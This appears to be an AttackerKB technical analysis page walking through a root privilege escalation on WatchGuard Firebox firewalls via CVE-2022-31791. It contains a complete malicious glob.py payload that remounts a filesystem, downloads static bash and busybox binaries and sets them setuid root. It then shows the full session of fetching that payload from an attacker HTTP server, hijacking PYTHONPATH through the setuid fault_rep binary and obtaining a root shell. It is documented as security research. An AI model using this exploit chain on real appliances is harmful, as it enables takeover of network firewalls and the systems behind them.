Activity Feed

1
Ratings
Technical Analysis

To be published soon.

Indicated source as
2
Ratings
Technical Analysis

This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this attackerkb article.
The initial access is non privileged as user nobody and /etc/fstab shows that all filesystems are either protected with read-only, no-suid or no-exec. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox which only provides a very limited command set. This makes living off the land pretty useless except for the nmap binary which is installed by default.

Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----

>>> import os
>>> os.getuid()
99
>>> os.getgid()
96
>>> import subprocess
>>> print(open("/etc/fstab").read())
/dev/wgrd.sysa_code    /           ext2        ro,noatime              1 1
/dev/wgrd.sysa_data    /etc/wg     ext3        rw,noexec,noatime       0 0
none                   /proc       proc        defaults                0 0
none                   /sys        sysfs       defaults                0 0
/dev/wgrd.boot         /boot       ext2        ro,noexec,noatime       0 0
/dev/wgrd.pending      /pending    ext2        rw,noexec,noatime       0 0
/dev/wgrd.var          /var        ext2        rw,noexec,noatime       0 0

# wg_linux platform.pkgspec

>>> subprocess.call(["nmap", "127.0.0.1"])
Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET
Nmap scan report for localhost.localdomain (127.0.0.1)
Host is up (0.0014s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE
80/tcp   open  http
4125/tcp open  rww
4126/tcp open  ddrepl
5000/tcp open  upnp
5001/tcp open  commplex-link
5002/tcp open  rfe
5003/tcp open  filemaker
5004/tcp open  avt-profile-1
6001/tcp open  X11:1
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
0
>>>

So the big question, how do we get privileged access?
Luckily, the appliance has python installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep program, that generates a crash report whenever a program crashes. And it has the setuid bit set on user root.

>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"])
-rwsr-xr-x    1 root     admin        31424 Sep 28  2021 /usr/bin/fault_rep
0
>>>

Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen, a python program. Here are lines of the program:

>>> print(open("/usr/bin/diag_snapgen").read())
#!/usr/bin/python

#
# Diagnostic Snapshot Generator
#
# This script runs when a fault triggers through the Fault Reporting System.
#

import subprocess
import glob

#
# These files will have their contents copied into the diagnostic snapshot
# file.  Add (or subtract!) from this list at will.
#
FILES = [
    '/etc/wg/bootlog',
    '/var/log/*.log',
    '/var/log/trace/*.log',
    '/proc/interrupts',
    '/proc/meminfo'
]

#
# These programs will have their output copied into the diagnostic snapshot
# file.  Add (or subtract!) from this list at will.
#
PROGRAMS = [
    '/bin/ps',
    '/bin/ls -l /tmp',
    '/bin/df',
    '/bin/dmesg'
]

#
# Diagnostic Snapshot Generation
#

for i, path in enumerate(FILES):
    for j, name in enumerate(glob.glob(path)):
        print "=== %s ===" % (name)
        try:
            f = open(name)
            for line in f:
                print line,

            f.close()
        except:
            print "(Unable to open file!)"
        print

for i, name in enumerate(PROGRAMS):
    print "=== %s ===" % (name)
    try:
        name = name.split()
        p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = p.communicate()
        if p.returncode:
            raise(Exception(err))
        print out
    except:
        print "(Unable to run command!)"
    print

>>>

This is pretty promising because glob.py, which is imported, can be easily exchanged by a malicious program with the same name. This will run under root context.

So let’s think this thru…

  • We create a malicious glob.py where we can run python code under the context of root.
  • This python code should remount a filesystem with exec and read-write rights.
  • A good candidate is the /dev/wgrd.pending filesystem.
  • We can download a static linked bash and busybox x86-64 binary from the web.
  • Change the ownership to root.admin and set the suid and sgid bit on both binaries.
  • We should now be able to spin off a root shell that gives us full control on the appliance.

This sounds like a plan…
Here is malicious glob.py code.

import subprocess, os, requests, ctypes
# set root
os.setuid(0)
os.setgid(0)

# remount /pending directory to enable suid and execution
def mount(source, target, fs, options='', flags=0):
  ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options)
  if ret < 0:
    errno = ctypes.get_errno()
    raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno)))

# 32 -- MS_REMOUNT flag
mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32)

# get the bash static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False)
with open("/pending/tmp/bash", mode="wb") as file:
	file.write(response.content)

# get busybox static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False)
with open("/pending/tmp/busybox", mode="wb") as file:
	file.write(response.content)

# setuid and sgid bit and make world executable. Bingo, you are root now!
os.chown("/pending/tmp/bash", 0, 0)
os.chmod("/pending/tmp/bash", 0o6755)
os.chown("/pending/tmp/busybox", 0, 0)
os.chmod("/pending/tmp/busybox", 0o6755)
exit()

Ok, let’s test this…
We will first upload our malicious glob.py to /tmp which is by default read-write, however we can not run any binaries in /tmp except for python scripts. But that is anyhow all we need…
To ensure that our malicious glob.py gets imported, we need to change the PYTHONPATH to /tmp or ..
We than call our root suid program /usr/bin/fault_rep and our malicious glob.py should do the magic.

>>> import requests
>>> response = requests.get("http://192.168.201.8:1980/glob.py")
>>> with open("/tmp/glob.py", mode="w") as file:
... 	file.write(response.content)
...
>>> subprocess.call(["ls", "-l", "/tmp/glob.py"])
-rw-r--r--    1 nobody   wg            1364 Mar  8 17:03 /tmp/glob.py
0
>>>

Ok, we have successfully downloaded glob.py. Please ensure that you have a http server running on your attacker machine.
Next step is to set the PYTHONPATH and run /usr/bin/fault_rep.

>>> myenv = os.environ.copy()
>>> myenv['PYTHONPATH'] = '.'
>>> print(myenv)
{'PYTHONPATH': '.'}
>>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv)
generating fault [01/unspecified] (Failed Assertion)...
0
>>>

Let’s check if the binaries are downloaded in /pending/tmp directory and owned by root.admin with suid and sgid bit set.

>>> subprocess.call(["ls", "-l", "/pending/tmp"])
-rwsr-sr-x    1 root     admin      2772944 Mar  8 17:14 bash
-rwsr-sr-x    1 root     admin      1894248 Mar  8 17:14 busybox
srw-r-----    1 nobody   nobody           0 Mar  7 22:38 cgi
-rw-r--r--    1 root     admin            0 Mar  8 16:37 configd.log
srw-rw-rw-    1 nobody   wg               0 Mar  7 22:38 epm
srw-rw-rw-    1 root     admin            0 Mar  7 22:38 geolocation
-rw-r--r--    1 nobody   wg            1364 Mar  8 17:00 glob.py
prw-------    1 nobody   wg               0 Mar  7 22:38 radiusd
prw-------    1 nobody   wg               0 Mar  7 22:38 rsso-auth
srwxr-xr-x    1 nobody   admin            0 Mar  7 22:38 webui
srw-rw-rw-    1 nobody   wg               0 Mar  8 16:00 wgagent
0
>>>

Cool, the trick worked!
Let’s get our bash root shell…

>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2$ /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)
bash-5.2$

Mmm, that’s strange. Looks that suid is not working.
Ahh, this rings a bell. Set suid bit on a bash shell does not work out of the box. There is -p option that overrides this behavior.

bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)

We got a root prompt, but we are still not there with full root access.
Let’s start a python session in this shell and set the suid and sgid once more and launch the bash shell again.

bash-5.2# python -i
python -i
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.setgid(0)
>>> import subprocess
>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (12299): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=0(root) gid=0(admin)
bash-5.2#

Here we go!
We have full root access now.

References

CVE-2022-31791
Blind exploits to rule WatchGuard firewalls by Charles Fol
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download

Credits

Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.

Indicated sources as